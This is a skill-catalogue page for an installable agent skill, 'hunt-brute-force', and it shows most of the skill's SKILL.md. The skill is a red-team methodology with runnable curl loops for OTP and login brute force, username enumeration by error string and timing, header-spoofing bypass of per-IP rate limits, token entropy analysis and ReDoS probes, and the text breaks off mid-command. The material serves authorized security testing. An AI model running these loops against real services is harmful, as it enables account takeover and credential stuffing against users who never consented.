hunt-brute-force
Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded…
Install / Use
npx skills add uphiago/recon-skills --skill hunt-brute-forceInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
CommunicationSupported Platforms
Tags
Our assessment of hunt-brute-force
hunt-brute-force scores 93/100 on our quality scale, 141st of 395 Communication skills we index (top 36%).
Its SKILL.md is 19 KB long, well organised into 74 sections with 8 code examples: a thorough specification that gives an agent plenty to work with.
With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 3 months ago, so hunt-brute-force is actively maintained.
- Our last check on 2026-10-26 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
No issues foundOur scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.
AI review by kimi-k2.7-code on 2026-10-04. Automated pattern scan on 2026-10-04. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
hunt-brute-force compared with similar skills
All 4 of these similar skills score higher than hunt-brute-force; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| hunt-brute-force (this skill)by uphiago | 93 | 1.3k | 3mo ago | SKILL.md |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
| algorithmic-artby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| pptxby anthropics | 100 | 177.9k | 55d ago | SKILL.md |
| designby nextlevelbuilder | 100 | 149.0k | 6d ago | SKILL.md |
Frequently asked questions
- How do I install hunt-brute-force?
- Run
npx skills add uphiago/recon-skills --skill hunt-brute-force. The install tabs above show the steps for each supported agent. - Which AI agents does hunt-brute-force work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is hunt-brute-force safe to use?
- Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is hunt-brute-force still maintained?
- The repository was last updated about 3 months ago, so hunt-brute-force is actively maintained.
Skill content
View source on GitHubname: hunt-brute-force description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA, IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical)." version: 1.1.0 revision_date: 2026-07-25 license: MIT category: redteam tags: [brute-force, hunt, redteam]
HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports.
report_countis intentionally0— do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.
Crown Jewel Targets
OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
Highest-value chains:
- OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on
/verify-otp, full 000000–999999 keyspace reachable - Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
- ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
CRITICAL: Four rate-limit states — do not collapse them
A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting
skill that only checks for 429/lockout produces false negatives. Classify the
defense BEFORE concluding, by sending a burst of ~50 requests and watching the
full response (status, body, headers, latency, and downstream success):
| State | Signal | Brute still feasible? |
|-------|--------|-----------------------|
| Hard account lockout | account disabled after N fails; later correct creds also fail | No (but lockout itself can be a DoS finding) |
| Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
| CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
| Silent shadow-throttle | 200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |
Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:
# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456" # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
CODE_RESP=$(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
-X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}")
echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.
Step-by-Step Hunting Methodology
Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
read CODE TIME < <(curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
-X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
# - status flips to 429 / 403 → soft throttle or lockout
# - body grows / CAPTCHA token appears → CAPTCHA injection
# - latency climbs while status stays 401 → shadow throttle
# - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
Phase 2 — OTP / 2FA Brute Force
# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"
# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
RESP=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/verify-otp" \
-H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
-d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
echo "$CODE: $RESP"
[ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.
# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
# - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
# - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
# - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
# Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
# code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.
Phase 3 — Username / Email Enumeration (string AND status AND timing)
VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"
# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
curl --max-time 30 --connect-timeout 10 -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
-X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
-d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
<(curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.
# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{time_total}\n" \
-X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
-d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.
# Reset + registration enumeration
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"
Phase 4 — IP / Source Rotation Bypass
# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
"X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
RESP=$(curl --max-time 30 --connect-timeout 10 -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
-H "Content-Type: application/json" \
-d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("[REDACTED_IP], [REDACTED_IP]"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
Phase 5 — Token Entropy (measure it, don't eyeball it)
# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
# Extract token from the email/link and append to tokens.txt
sleep 2
done
# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"
# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt
# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based
# 4) DEFINITIVE: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
# response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
# < ~64 effective bits on a security token is a finding; the brute-window math follows.
Phase 6 — ReDoS Detection
# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex
T=$(curl --max-time 30 --connect-tim
Truncated for display — read the full file on GitHub.
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From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
